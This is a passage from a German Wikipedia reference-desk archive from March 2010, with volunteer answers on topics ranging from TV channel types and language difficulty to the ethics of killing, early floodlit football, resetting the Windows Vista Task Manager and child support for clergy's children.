Das schmälert in keinster Weise den Wahrheitswert der allerersten Antwort auf die Frage. Richtig ist hingegen, dass es den Ionen relativ egal ist, wer zuerst da war. Sind die Reaktionspartner vorhanden, dann passiert es eben, andernfalls nicht. -- Grottenolm 23:35, 23. Mär. 2010 (CET)[Beantworten]

DMAX und TIMM

Sind DMAX und TIMM Vollprogramme? --84.61.146.104 18:39, 23. Mär. 2010 (CET)[Beantworten]

Vollprogramm, Spartenprogramm. War das so schwer? --77.177.45.94 18:50, 23. Mär. 2010 (CET)[Beantworten]

Meines Wissens nach sind entgegen landläufiger Meinung auch DMAX und TIMM Vollprogramme. --84.61.146.104 19:45, 23. Mär. 2010 (CET)[Beantworten]

Warum fragst du Dinge, die du ohnehin schon zu wissen glaubst? --77.177.45.94 19:53, 23. Mär. 2010 (CET)[Beantworten]

TIMM ist unter Vollprogramm eingetragen und DMAX ist unter Spartenprogramm zu finden. Wenn beides Vollprogramm sind wäre ein Eintrag falsch. Wer es genau weiss möge es korrigieren wenn man es überhaupt muss. --Netpilots 20:20, 23. Mär. 2010 (CET)[Beantworten]

DMAX ist ein Vollprogramm: [10] --84.61.146.104 20:47, 23. Mär. 2010 (CET)[Beantworten]

...nach eigener Darstellung, d.h. er verfügt über ein rudimentäres Alibi-Nachrichtenprogramm usw. So sinnvoll ist also die Unterscheidung zwischen Sparten- und Vollprogrammen. Schön und gut, nochmal: Warum belästigst du uns hier mit Fragen, die du selbst so hübsch beantworten kannst? --77.177.45.94 21:01, 23. Mär. 2010 (CET)[Beantworten]
Weil die Auskunft nunmal für Fragen da ist und er sich wahrscheinlich weiterführende Antworten erhofft hat. Kein Grund Fragesteller zu beschimpfen, weil sie Fragen stellen. Wenn du dich belästigt fühlst, dann lass das Antworten einfach. Grüße -- Kpisimon 12:23, 24. Mär. 2010 (CET)[Beantworten]

Konsonantenhäufungen im Wolof

Wie viele verschiedene Konsonantenhäufungen gibt es im Wolof? --84.61.146.104 19:09, 23. Mär. 2010 (CET)[Beantworten]

Es geht wohl um Wolof. --HAL 9000 22:08, 23. Mär. 2010 (CET)[Beantworten]

Schwierige Sprachen / Verzeichnis und/oder Reihenfolge

Kennt jemand eine Quelle, in der die Sprachen dieser Welt nach ihrem objektiven Schwierigkeitsgrad beim Erlernen und/oder Sprechen allgemein oder für Europäer oder Deutsche aufgelistet sind, in deutscher oder gerne auch in englischer Sprache, vielleicht auch mit Begründung oder näheren Informationen? Vom Auswärtigen Amt gibt es eine ältere "Sprachenliste", in der die Sprachen grob in 4 Gruppen eingeteilt werden; die ist aber nicht so aussagekräftig. --79.217.45.53 19:13, 23. Mär. 2010 (CET)[Beantworten]

Selbst für Muttersprachler einer bestimmten Sprache (z. B. Deutsch) hängt die subjektive Schwierigkeit des Spracherwerbs von einer Vielzahl von Faktoren ab, das sind beispielsweise didaktische, biographische, psychologische Faktoren, auch Vorkenntnisse in anderen Sprachen, die sich vor- aber auch nachteilig auswirken können. Eine objektive "Schwierigkeitsliste", wie du sie forderst, kann es nicht geben. --77.177.45.94 19:19, 23. Mär. 2010 (CET)[Beantworten]
Ganz genau. Generell hängen die Schwierigkeiten beim späteren Erlernen einer anderen Sprache zu einem guten Teil mit der Parametrisierung beim Erstspracherwerb zusammen. Eng verwandte indogermanische Sprachen sind da natürlich für deutsche Muttersprachler zugänglicher, auf der anderen Seite kann beim Zweit(Dritt-, usw.)spracherwerb aber auch Kontrastarmut zu Problemen führen. --Mai-Sachme 19:52, 23. Mär. 2010 (CET)[Beantworten]

Ich habe mal eine Liste der Sprachen nach der Schwierigkeit der Grammatik gesehen. Da führt Abchasisch, und den letzten Platz teilen sich Englisch un Hochhinesisch.--Alexmagnus 22:42, 23. Mär. 2010 (CET)[Beantworten]

Das meine ich - an so einer Liste bin ich interessiert. Und wenn eng verwandte indogermanische Sprachen für deutsche Muttersprachler zugänglicher sind, wäre es interessant für mich, wie es mit den z.B. finnisch-ugrischen und asiatischen Sprachen im Hinblick auf die Schweirigkeit der Grammatik und damit der Erlernbarkeit für deutsche Muttersprachler aussieht. (nicht signierter Beitrag von 79.217.46.144 (Diskussion | Beiträge) 08:06, 24. Mär. 2010 (CET)) [Beantworten]
Wobei es aber nicht allzuviel nutzt das Chinesisch so gut wie keine Grammatik hat. Die Vokabeln muss man als Europäer alle auswändig lernen, man kann keine einzige herleiten. Dazu kommt die ungewohnte Aussprache: etwa 3 Formen für sowas wie "tsch" und genau so viele für "dsch", und dann noch die Vokal-Intonationen obendrauf. Und wenn man die nicht fehlerlos beherrscht, wird man nicht verstanden. --Hareinhardt 10:24, 24. Mär. 2010 (CET)[Beantworten]
Das ist im Finnischen insofern ähnlich, als die Grammatik zwar in einigen Punkten anders (z.B. Kasusendungen statt Präpositionalkonstruktionen, "nicht" als Verb), aber insgesamt nicht schwieriger ist als im Deutschen, der Wortschatz aber ebenfalls so gut wie keine Ab- oder Herleitungsmöglichkeiten bietet und deshalb für einen Indogermanen schwer zu erlernen ist. Dafür ist die Aussprache dann wieder extrem einfach. Es ist also nicht so ohne weiteres möglich, pauschal einen Schwierigkeitsgrad von Sprachen festzulegen. -- Jossi 10:35, 24. Mär. 2010 (CET)[Beantworten]
Aber die Laute muss man nur einmal gründlich lernen, die Anzahl ist überschaubar und es kommen nicht immer mehr hinzu. Beim Wortschatz kann man vor allem bei sprachlicher Verwandschaft profitieren. Allerdings finde ich die Unterschiede schon zum Englischen derart groß, dass man damit schnell an Grenzen kommt. Ich halte daher die Grammatik für den Punkt, der beim Sprachenlernen für den größten Unterschied sorgt. Gismatis 18:39, 26. Mär. 2010 (CET)[Beantworten]

Es gibt auch eine Theorie, die besagt, dass alle Sprachen im Prinzip (also nicht für einen bestimmten Sprecher mit bestimmten Voraussetzungen) gleich schwer sind. Denn irgendwie muss sich die Anwendungsvielfalt von Sprache eine Bahn brechen. Da in etwa alle Sprachen das Gleiche ausdrücken können, brauchen sie auch eine bestimmte Komplexität, um die Information zu tragen (Informationsgehalt, Informationstheorie). Natürlich gibt es immer wieder so "Gemeinheiten", so Komplexitäten, die man als Schüler für total willkürlich und überflüssig hält (die Indogermanen haben z.B. diese hässlichen Suppletivformen). Aber es könnte auch sein, das sich das ausgleicht. Chinesisch hat vielleicht eine einfache Grammatik, aber dafür hat es die Phonetik mit den Tönen in sich (Mandarin hat nur vier, Kantonesisch aber acht, auweia!). Englisch hat eine stark zurückgefahrene Flexion, aber dafür müssen die Verhältnisse der Wörter untereinander irgendwie anders ausgedrückt werden. Das kapieren wir Deutsche aber nicht richtig, Englisch ist zu ähnlich, wir sehen die Komplexitäten nicht. Außerdem lässt sich die "Schwierigkeit" einer Sprache auch schwer messen, letztlich ist das auch individuell. Der eine kann schlecht Vokabeln lernen, der andere versteht Grammatik nicht, der dritte hat Probleme mit einer fremden Phonetik. Das kann man wohl nicht physikalisch messen.--Rabe! 15:12, 24. Mär. 2010 (CET)[Beantworten]

Warum ist Töten falsch?

Ich würde gerne wissen, warum es falsch ist einen anderen Menschen zu töten. Bitte nicht mit Gesetzen und/oder Religion antworten, denn ich möchte eine Antwort, die auch ein gesetzloser Atheist verstehen kann. --95.89.49.84 19:57, 23. Mär. 2010 (CET)[Beantworten]

kategorischer Imperativ vllt? --Heimschützenzentrum (?) 20:00, 23. Mär. 2010 (CET)[Beantworten]

Natürlich ist Töten nicht immer und überall "falsch" (=moralisch schlecht). --77.177.45.94 20:06, 23. Mär. 2010 (CET)[Beantworten]

Beantworte Dir die Frage doch mal ob es falsch ist, dass Du Dich selbst tötest. Die meisten anderen Menschen wollen nämlich nicht getötet werden und hätten was dagegen. Und deswegen ist das falsch.--91.56.204.158 21:14, 23. Mär. 2010 (CET)[Beantworten]
Ohne gesellschaftliche Grundkonditionierung (wurst, ob du es Religion, Recht, Freunschaft, Mitleid, Angst vor Rache etc. pp. nennst) sind Fragen zu richtigem und falschem Handeln nur schwer zu beantworten. Denn die Unterscheidung zwischen Richtig und Falsch verlangt uns bereits soviel Verstand und Kommunikation ab, dass sich die moralischen Regeln fast wie von selbst einstellen. (Jürgen Habermas erklärt das durch ein, der Sprache innewohnendes Vernunftpotential) Die Genese und Begründung von Regeln (zb des Tötungsverbots) ist Thema der Philosophie. Diese kann man schlecht hier mal eben erklären (ich schon gar nicht). --Krächz 21:36, 23. Mär. 2010 (CET)[Beantworten]
Evtl. Arterhaltung? --94.220.143.152 21:39, 23. Mär. 2010 (CET)[Beantworten]
Ein erster Antwortversuch (mehr kann es ja nicht sein): Ich bin mir nicht sicher, ob nicht schon sehr früh zwischen töten und morden unterschieden wird. Aber wie auch immer, töten (ich bleib mal bei diesem Wort) ist endgültig und unumkehrbar. Keiner wird gerne getötet. Sicher, Ausnahmen gibt’s immer, aber das 5. bzw. 6. Gebot ist ja nun wesentlich älter als die Zehn Gebote, könnte also durchaus auch einen ersten Ursprung eines Gesellschaftvertrages in sich bergen. An der Religion – zumindest in ihrer Rolle als der Instanz, die diese „Vertragsregel“ formuliert und auf ihre Einhaltung achtet – führt dann allerdings irgendwann kein Weg mehr vorbei. Ich habe mal (ich glaube, im Spiegel) von einem beobachteten „Mordfall“ unter Affen gelesen, bei dem dem „Mörder“ in seinem Verhalten nach der Tat Schuld- bzw. Unrechtsbewußtsein unterstellt und aninterpretiert wurde. Bei solchen Stories sollte man gewiß sehr skeptisch sein. Was ich in Beißhemmung hinsichtlich der Studien von Erik Zimen dazu lese, deutet aber schon daraufhin, daß es bereits unter Tieren erlernt werden könnte, sich nicht zu töten. Daß es sich bei dem Tötungsverbot" also um ein präreligiöses, prästaatliches und präjuristisches Phänomen handelt. Das Erlernen würde wiederum diese Behauptung in Frage stellen: „Die Tabuverbote entbehren jeder Begründung, sie sind unbekannter Herkunft; für uns unverständlich, erscheinen sie jenen selbstverständlich, die unter ihrer Herrschaft leben.“. --84.191.51.103 21:39, 23. Mär. 2010 (CET)[Beantworten]
Nachtrag: Ich bin übrigens überzeugt davon, daß wir in bestimmten Situationen und unter bestimmten Umständen als Menschen erst erlernen, daß man Falsches durchaus tun kann, also auch töten. --84.191.51.103 21:57, 23. Mär. 2010 (CET)[Beantworten]

"Falsch" ist das Menschentöten nur da, wo Menschen sich im Rahmen von Gesetz, Moral und Religion darauf verständigt haben, es falsch zu finden und falsch zu nennen. Ansonsten ist die "Falschheit" des Tötens objektiv aus Logik und Naturgesetz nicht abbleitbar. Man kann allenfalls einsehen, dass es in Hinblick auf Art- und Selbsterhaltung irrational sein kann, gewisse Artgenossen zu töten, auf die man angewiesen ist (als Jagd-/Produktions-/Kampf- oder Fortpflanzungspartner). Wenn du also eine Antwort willst, die auch ein "gesetzloser Atheist" verstehen kann, dann ist das irgendwie so, als würdest du nach einer Antwort fragen, die auch ein Analphabet lesen kann. Ein Widerspruch in sich. Krawallbürste 21:44, 23. Mär. 2010 (CET)[Beantworten]

Rein naturwissenschaftlich betrachtet magst du Recht haben. Da "gesetzloser Atheist" aber die Philosophie nicht ausschließt, wäre das durchaus ein Ansatzpunkt. Zitat zum Thema, völlig ohne Gesetz und Religion:

„Many that live deserve death. And some die that deserve life. Can you give it to them? Then be not too eager to deal out death […].“

Gandalf: Der Herr der Ringe, Band 1, Kapitel 2

--El Grafo 22:12, 23. Mär. 2010 (CET)[Beantworten]

Goldene Regel?--83.135.77.123 22:01, 23. Mär. 2010 (CET)[Beantworten]

Schade, ich finde den Artikel über den Affen, der einen heimtückischen Mord geplant und ausgeführt und sich danach angeblich geschämt hat, nicht wieder. Dafür einen passablen Aufsatz, über den man, denke ich, gut streiten kann. Weiterhin Hinweise darauf, daß bei Schimpansen innerhalb der eigenen Gruppe das Tötungsverbot halbwegs funktioniert, aber in Krisensituationen auch seine Grenzen findet:
Beobachtungen von D. Bygott beschreiben Devianz (mutmaßlicher „Kannibalismus“) durch Schimpansen im Jahr 1971 [11] und Katie Slocombe berichtet 2007 über Baby-Morde, die ihre Ursache mutmaßlich im „Kampf um Ressourcen“ haben. [12].
Jane Goodall hat wohl ähnliches erlebt (und angeblich interveniert!) und berichtet von gemeinschaftlichen harten Gewalttätigkeiten innerhalb der Gruppe, die sich exzessiv verselbständigen können (Der Spiegel formuliert da genüßlich: „Im Gefolge solcher Aktionen gegenüber einzelnen fallen häufig nach und nach gänzlich unbeteiligte Tiere übereinander her, ähnlich bayrischen Bierdimpfeln bei einer Wirtshausrauferei.“), sowie von einer 1974 beobachteten Situation, die sehr eindeutig als Ausrottungskrieg gegen eine fremde Gruppe beschrieben wird. (Der Spiegel 19/1978, Der Spiegel 49/1986, Der Spiegel 12/1992)
Das Großhirn ist jedenfalls offenkundig nicht oder noch nicht die Ursache des Tötungsverbotes. Zitat: „Zwar unterscheide sich der Mensch, so Goodalls Schlußfolgerungen, im Grundsätzlichen seines Wesens nur graduell vom Affen. Aber: "Wir dürfen auch nicht für einen Augenblick vergessen, daß gerade diese graduelle Differenz den großen Unterschied zwischen uns und den Affen ausmacht" - schließlich verfügt der Mensch, im Gegensatz zum Schimpansen, über ein hochentwickeltes Großhirn, in dem unter anderem das Bewußtsein seinen Sitz hat. Dadurch ist, so die Verhaltensforscherin, zum Beispiel "unser Verständnis für das Leiden, das wir über unsere Opfer bringen, von einer gänzlich anderen Größenordnung" - mit anderen Worten: Der Mensch könnte, wenn er nur imstande wäre, sein Hirn etwas intensiver bemühen. Warum ihm gerade dies so schwerfällt, haben die Gehirnphysiologen längst herausgefunden. Das Stammhirn, der entwicklungsgeschichtlich älteste Teil des menschlichen Gehirns, in dem unter anderem Instinktregungen wie Angst und Aggression angesiedelt sind, hat sich in den vielen Jahrmillionen der Evolution strukturell kaum verändert; überdies ist es nur durch vergleichsweise wenige Nervenstränge mit dem Großhirn verbunden - mithin vermag die Ratio die archaische Gefühlswelt des Menschen nur bedingt zu kontrollieren. Die ihm innewohnende Aggression, gepaart mit Intelligenz, so glaubten Psychologen und Philosophen lange, mache den Menschen zum einzigen Lebewesen, das organisierte Kriege führen könne - bis Jane Goodall berichtete, daß ihre Schimpansen einen benachbarten Stamm planmäßig ausgerottet hatten.“ (Der Spiegel 19/1978)
Vorläufiges Fazit: Es scheint so, daß wir zwar lernen, daß getötet werden keinen Spaß macht und zumindest die eigenen Leute ihre Ruhe haben sollten. Irgendwer hat auch irgendwann daraus versucht hat, eine Regel zu machen. Ein Seitenblick auf die Menschheitsgeschichte läßt aber vermuten, daß wir gleichzeitig auch lernen, daß, wenn es drauf ankommt und um die eigene Haut geht, man sich um diese Regel nicht mehr kümmern muß.
Mittlerweile denke ich, mit dem Tötungsverbot ist es garnicht so weit her. Es wird zwar ein Riesenbohei drum gemacht, aber wirken tut es ja nicht. Zumindest nicht nachhaltig. Auf der anderen Seite ist das ein bißchen so wie rechts fahren im Straßenverkehr. Man wundert sich, daß das so gut klappt und vertraut ständig wildfremden Menschen, die einem entgegenkommen, sein Leben an. Und die meisten finden die Regel gut, halten sich dran, weil es irgendwie sinnvoll ist, fahren rechts und wollen auch sonst keinen umbringen, respektieren die Regel halt so, wie sie auch das Tötungsverbot respektieren... --84.191.51.103 23:57, 23. Mär. 2010 (CET) Ergänzung --84.191.51.103 00:09, 24. Mär. 2010 (CET)[Beantworten]
Nachsatz: Außerdem gibt es ja auch den Definitonstrick: Wilde und Ungläubige sind gar keine richtigen Menschen, für die gilt das Tötungsverbot dann also nicht und da dürfen wir... --84.191.51.103 00:09, 24. Mär. 2010 (CET)[Beantworten]
Man kann's nicht schöner sagen! Wem es Spass macht - und vielleicht den "gesetzlosen Atheisten" drauf hinweisen - der sollte mal nach Kriminalstatistiken in stark religiös geprägten und in weniger religiös geprägten Gesellschaften suchen. Die Ergebnisse lassen sich auch erklären ... G! GG nil nisi bene 00:05, 24. Mär. 2010 (CET)[Beantworten]
Dann aber im "Kampf der Zahlen" auch innerhalb westlicher Gesellschaften die Subgruppen kirchennah und kirchenfern, bspw. anhand des Kirchgangs, vergleichen ... -- Arcimboldo 03:07, 24. Mär. 2010 (CET)[Beantworten]

Diese Frage hat sehr wohl einen guten Kern, und zwar -> die Frage; was oder wer bin ich? Ist vielleicht jetzt etwas zu weit gesprungen, aber gerade darum geht es, wenn ich mich mit mir auseinandersetze - ICH; ein Mensch - der Andere auch ?!?! Dann kommt man auch ganz leicht zu einer Floskel; "was du nicht willst das man dir tut - das tu auch keinem anderen an" - Im Prinzip ist es nicht falsch / denn was ist schon "richtig oder falsch" - aber gesund ist es nicht, und Ich persönlich möchte auch nicht von einem anderen getötet werden, und deshalb ist es falsch weil du es auch nicht willst <- Bingo dieses Rubellos können sie käuflich erwerben - in einem Shop Ihres Vertrauens--188.23.64.160 22:05, 24. Mär. 2010 (CET) Siehe auch Persönlichkeitsrecht; deine Rechte welche du hast - oh Gott - die selben Rechte hat auch ein anderer, und deshalb ist die Frage eher nicht durchdacht gewesen, da Wir hier in der Wikipedia versuchen den anderen auch zu achten/bemerken/schätzen - aber ganz sicher nicht töten (wäre ja blöd - wer sollte sonst die ganze Arbeit machen) --188.23.64.160 22:12, 24. Mär. 2010 (CET)[Beantworten]

Noch ein Nachtrag (fast hätte ich es vergessen): man schläft auch schlechter und träumt nicht mehr so schön... --84.191.38.226 00:06, 25. Mär. 2010 (CET)[Beantworten]
Außer, man hat eine Funktionsstörung in der ventromedialen präfrontalen Region der Großhirnrinde. So eine Störung ist aber sehr selten (es gibt viel weniger eiskalte Profikiller, als uns Hollywood glauben machen will). Eigentlich interessant, dass das Tötungsverbot noch nich fest in der Großhirnrinde verankert ist, die Reue nach der Tötung aber schon. Ugha-ugha 13:42, 25. Mär. 2010 (CET)[Beantworten]

Frage zur Geschichte des ersten Flutlichtspieles beim Fussball

Weitergeleitet aus der Diskussion von Flutlicht: Waren die damaligen Lampen 1878 von Siemens oder Bosch ?? In der Versionsgeschichte steht beides... Google sagt mir auch nur das die Generatoren von Siemens waren.

Meine Frage deshalb hier weil ich die antwort dringend bräuchte, beim Artikel Flutlicht könnte es vermutlich länger dauern.

Danke schonmal vorab !!!--Flizzzy 20:37, 23. Mär. 2010 (CET)[Beantworten]

Wenn das Flutballspiel 1878 war und Du mit "Bosch" die Firma meinst, die 1886 gegründet wurde, dann wäre es für die Spielveranstalter damals wohl leichter gewesen, die Marke Siemens zu wählen. BerlinerSchule. 21:21, 23. Mär. 2010 (CET)[Beantworten]

Ja aber das gibt mir die Versionsgeschichte her die erst vor kurzem geändert wurde... deshalb war ich etwas verwirrt zumal google nicht sehr aufschlussreif ist...!--Flizzzy 21:45, 23. Mär. 2010 (CET)[Beantworten]

Ja, nicht dass wir uns da falsch verstehen. Ich möchte weder Werbung für die Lampen von Siemens machen noch irgendetwas gegen die Lampen von Bosch sagen. Ich bin mir ganz im Gegenteil sicher, dass die Lampen von Bosch ebenfalls sehr gut sind. Wenn ich jetzt entscheiden sollte, welche Lampen ich für das Fußballspiel unter Flutlicht - nennen wir es kurz das Flutballspiel; so heißt es natürlich nicht, aber es ist eben kürzer als Fußballspiel unter Flutlicht, obwohl sicherlich beide neunzig Minuten dauern, wenn der Ball rund ist, was ich sagen wollte, sollte ich entscheiden müssen, ob für das Flutballspiel (ja, durch diese schlaue Zusammenziehung haben wir etliche Buchstaben eingespart!) im Jahre 1878 lieber die Lampen von Siemens oder lieber die Lampen von Bosch eingesetzt werden sollen, dann wüsste ich wirklich keinen Rat. Weil eben die Lampen beider Hersteller von ausgezeichneter Qualität sind. Wenn man sehr kritisch an die Sache rangehen möchte, könnte man natürlich darauf hinweisen, dass Herr Bosch damals 17 Jahre alt war, also so helle, wie man in dem Alter sein kann. Ich will jetzt auch nicht sagen, dass er vielleicht weniger Erfahrung hatte - immerhin war er im Jahre 1878 schon Lehrling! Also auch unter dem Gesichtspunkt geht es aus wie das Hornberger Schießen im Dunkeln, nämlich mit Schrot in Körperstellen, in denen man gar keinen Schrot - das spricht also für keinen, wollte sagen, eigentlich für beide. Nur wenn, aber auch wirklich nur dann, wenn (wenn!) auch die Lieferzeit für die Veranstalter wichtig sein sollte, dann würde man vielleicht, ohne jetzt den Robert irgendwie beleidigen zu wollen, für diesesmal doch ausnahmsweise ein paar Birnchen vom Siemens nehmen. Weil wenn der Bosch Robert seine Firma erst acht Jahre später aufmacht und dann muss man auch immer noch eine Woche dazurechnen, die ersten Tage nach einer Firmengründung sind fast immer a weng chaotisch und dann verzögert sich die Lieferung nochmal, dann ist der Anstoß vom Fußball - oder wir hatten ja eigentlich vereinbart Flutball zu sagen - also der Anstoß vom Flutball mit dem Bosch seine Lampen vielleicht nicht viel später, aber mit dem Siemens seine Fluter die kommen halt eine Woche und acht Jahre früher und man weiß ja, wie ungeduldig so ein Fußballpublikum werden kann! BerlinerSchule. 23:11, 23. Mär. 2010 (CET)[Beantworten]
Grell. --Aalfons 23:14, 23. Mär. 2010 (CET)[Beantworten]
Gell? BerlinerSchule. 23:20, 23. Mär. 2010 (CET)[Beantworten]
Flutball wurde nur ein einziges Mal, am 12. Juni 1981 nahe Westerland vor Sylt gespielt. Mit dem Einsetzen der Ebbe trieben beide Mannschaften leider langsam hinaus in die Nordsee und waren nicht mehr gesehen. Von weiteren Versuchen, das Spiel in Europa einzuführen, hat man daraufhin Abstand genommen. Der mutmaßliche Ausgang des Spiels wurde im Nachhinein einvernehmlich als "unentschieden" gewertet. --84.191.51.103 01:21, 24. Mär. 2010 (CET) [Beantworten]

Task-Manager: Standardeinstellungen wiederherstellen?

Ich Idiot habe an meinem Task-Manager (Vista) rumgespielt (Ansicht > Spalten auswählen) und habe jetzt als Resultat fürchterliche Mist-Einstellungen, die ich beim besten Willen nicht mehr wegkriege. Daher meine Frage: Gibt es irgendeine Möglichkeit, den Task-Manager auf die Standard-Einstellungen zurückzusetzen? Gruß, -- Felix König Artikel Portal 21:00, 23. Mär. 2010 (CET)[Beantworten]

Hast Du Systemwiederherstellung schon versucht?--91.56.204.158 21:07, 23. Mär. 2010 (CET)[Beantworten]
Nee, ich will ja kein ganzes Backup laden. -- Felix König Artikel Portal 21:23, 23. Mär. 2010 (CET)[Beantworten]
Einfach das Häkchen wieder bei den Spalten setzen, die standardmässig ausgewählt sind, geht nicht? Bei mir wären das (allerdings mit Windows 7): Benutzername, CPU-Auslastung, CPU-Zeit, Arbeitsspeicher - Privater Arbeitssatz und Beschreibung. --80.219.84.44 22:02, 23. Mär. 2010 (CET)[Beantworten]
Oder einfach den tAsk Manger vergessen und statt dessen Process Explorer benutzen. Ciao, --AM 22:56, 23. Mär. 2010 (CET)[Beantworten]
Bei der Systemwiederherstellung lädst Du kein ganzes Backup. Wie der Name schon sagt, stelltst Du nur einen früheren Zustand her, nämlich den Zustand, als der Taskmanager noch voll funktionierte. GGf. Zwischenzeitliche Neuinstallationen musst Du wiederholen--91.56.204.158 07:33, 24. Mär. 2010 (CET)[Beantworten]
@80.219.84.44: Danke, perfekt. Bis auf die CPU-Zeit (die ich weider rausgenommen habe) ist das genauso wie vorher. @AlMare: Ja, den Process Explorer hatte ich als Ersatz genommen, während der Task-Manager quasi unbrauchbar war. Nützliches Tool, aber für die Dauer finde ich es nicht ganz so toll. @91.56.204.158: Danke, da hast du Recht; letztendlich habe ich aber dann doch den einfacheren Vorschlag genommen. Gruß, -- Felix König Artikel Portal 20:48, 24. Mär. 2010 (CET)[Beantworten]

Was tut diese Turbine?

Hallo ans Wikipedia_Team, es wäre sehr wichtig für mich, zu wissen, was genau diese Turbine tut, deren Foto ich bei einer Bildagentur gefunden habe. Link zur Ansicht: http://www.shutterstock.com/pic.mhtml?id=48598072 . Arbeitet sie tatsächlich mit Luft/Wind? Was bewirkt sie? Herzlichen Dank vorab für Ihre Hilfe! --217.233.224.74 22:15, 23. Mär. 2010 (CET)[Beantworten]

Wieso Turbine? Fan heißt Ventilator, Flügelrad, Lüfterrad oder so. Turbinen wandeln Energie um, hier nix davon zu sehen, imho. --Aalfons 23:21, 23. Mär. 2010 (CET)[Beantworten]
Wird wohl 'ne Schneekanone sein. --Kalumet.RM Kommentare? 23:34, 23. Mär. 2010 (CET)[Beantworten]
Well done. --Aalfons 08:50, 24. Mär. 2010 (CET)[Beantworten]
So eine Maschine kann auch durchaus kreativ eingesetzt werden. --Kalumet.RM Kommentare? 09:08, 24. Mär. 2010 (CET)[Beantworten]

Gladbeck: Nur über kreisfreies Gebiet erreichbar?

Ist Gladbeck die einzige kreisangehörige Gemeinde in Deutschland, die nur über kreisfreies Gebiet zu erreichen ist? --84.61.146.104 22:32, 23. Mär. 2010 (CET)[Beantworten]

Nein, da Gladbeck eine gemeinsame Grenze mit der kreisangehörigen Stadt Dorsten hat. --Gnu1742 23:12, 23. Mär. 2010 (CET)[Beantworten]

Zwar angrenzend, aber auch der Nordteil des Landkreis Potsdam-Mittelmark ist nur über die Havelbrücken der kreisfreien Stadt Brandenburg zu erreichen. Das betrifft dann auch mehrere Gemeinden, aber passt wohl zur Problemstellung.Oliver S.Y. 23:18, 23. Mär. 2010 (CET)[Beantworten]

Gibt's auch umgekehrt: Landau in der Pfalz. --20% 01:06, 24. Mär. 2010 (CET)[Beantworten]

Wer zahlt den Unterhalt für uneheliche Kinder von Geistlichen?

Das "Personal", die Geistlichen der Katholischen und Evangelischen Kirche in Deutschland werden zu einem Großteil (> 60%) über die Kirchensteuer finanziert. Ist die logische Schlussfolgerung daraus, dass der Steuerzahler für den Unterhalt von unehelich gezeugten Kindern von Geistlichen aufkommen muss? --84.146.204.142 23:56, 23. Mär. 2010 (CET)[Beantworten]

Du meinst jetzt sicher Kinder von katholischen Geistlichen, die anerkannt haben, die Väter zu sein. Das dürften eher wenige sein. Und wenn die die Alimente von ihrem Gehalt bezahlen, ist das doch deren Problem und nicht das des Steuerzahlers, oder?
BerlinerSchule. 00:03, 24. Mär. 2010 (CET)[Beantworten]
Letztlich schon, klar. Sofern der Geistliche seinen Job behält, kostet das den Steuerzahler - vom Kindergeld mal abgesehen, aber willst Du den Kindern das etwa vorenthalten? - keinen Cent extra. --20% 00:04, 24. Mär. 2010 (CET)[Beantworten]
Sicher nicht, ich hab mich das nur gefragt. Hat irgendwie etwas Ruch von Subventionierung krimineller Akte an sich... --84.146.204.142 00:16, 24. Mär. 2010 (CET)[Beantworten]
Liebes IP, warum soll denn Kinderzeugen kriminell sein? Übrigens ist es unwesentlich, ob ein Kind "unehelich gezeugt" wird; eventuell wird es unehelich geboren. Dass im Normalfall die Eltern für den Unterhalt eines Kindes aufkommen, ist recht allgemein anerkannt. Der Steuerzahler zahlt also auch für das Kind des Bürgermeister, des Hochschulassistenten und der Sachbearbeiterin vom Bauamt. Er zahlt aber auch fürs Bier des Müllwerkers. Nur bei den Kindern vom Pfarrer und der Pfarrerin ist es etwas anders: Da zahlt nur derjenige Steuerzahler, der Kirchenmitglied ist. BerlinerSchule. 00:22, 24. Mär. 2010 (CET)[Beantworten]
Pardon, ich habe vergessen zu konkretisieren. Ich bin von einem Missbrauchsfall ausgegangen. --84.146.204.142 00:38, 24. Mär. 2010 (CET)[Beantworten]
Kann ja heute schon mal passieren ... Sollte aber nicht. Es gibt keinen Anlass zu vermuten, dass zum Zölibat verpflichtete Geistliche mehr Kinder durch Kindesmissbrauch oder Vergewaltigung zeugen, als andere Männer. Rechtlich macht das eh keinen Unterschied. Und damit auch nicht für die Finanzierung des Lebensunterhalts der gezeugten Kinder. Also kein besonderer Grund, sich als Steuerzahler empört aufzupumpen. Rainer Z ... 00:58, 24. Mär. 2010 (CET)[Beantworten]
Oha. Missbrauch von Knaben durch Priester erzeugt uneheliche Kinder? Ich beginne ja, an meinem Protest gegen ein bestimmtes Bild neulich zu zweifeln... ...das wäre ein ganz neue Form der Parthenogese, steht sicherlich in der nächsten Enzyklika... BerlinerSchule. 01:03, 24. Mär. 2010 (CET)[Beantworten]
Eher weniger, aber der von Frauen. Ich kann mich noch an einen Fall erinnern. Die Frage ist übrigens mehr von theoretischer Natur und hat keine Pauschalisierung im Sinn. Ich merke die Gemüter erhitzen sich bei einem so heiklen Thema sehr schnell... --84.146.191.164 01:07, 24. Mär. 2010 (CET)[Beantworten]
Na dazu war die Frage ja auch gedacht. Schließlich kann man sich diese selbst durch kurzes Googeln beantworten. Da Pfarrer nicht ausserhalb des Gesetzes stehen kann man sich die Frage auch ohne Googeln mit 10 Sekunden nachdenken selbst beantworten. --FNORD 10:45, 24. Mär. 2010 (CET)[Beantworten]
Ich nehme aber mal an, dass in dem Fall, den die IP meint, kein Unterhalt gezahlt wird. Zunächst einmal werden Kinder, die das Ergebnis einer Vergewaltigung wären, meist rechtzeitig abgetrieben. Und selbst wenn das in dem Fall unterblieben sein sollte, wird doch der Vergewaltiger zu einer langjährigen Gefängnisstrafe verurteilt worden sein (wenn die IP den Fall kennt, kennt die Staatsanwaltschaft ihn erst recht). Das hat unter anderem den Vorteil, dass das Schwein erst einmal seine Tat nicht wiederholen kann, es hat aber - so gesehen - den Nachteil, dass es keinen Unterhalt zahlt, da das Arbeitseinkommen im Gefängnis wohl zu gering ist. BerlinerSchule. 13:43, 24. Mär. 2010 (CET)[Beantworten]
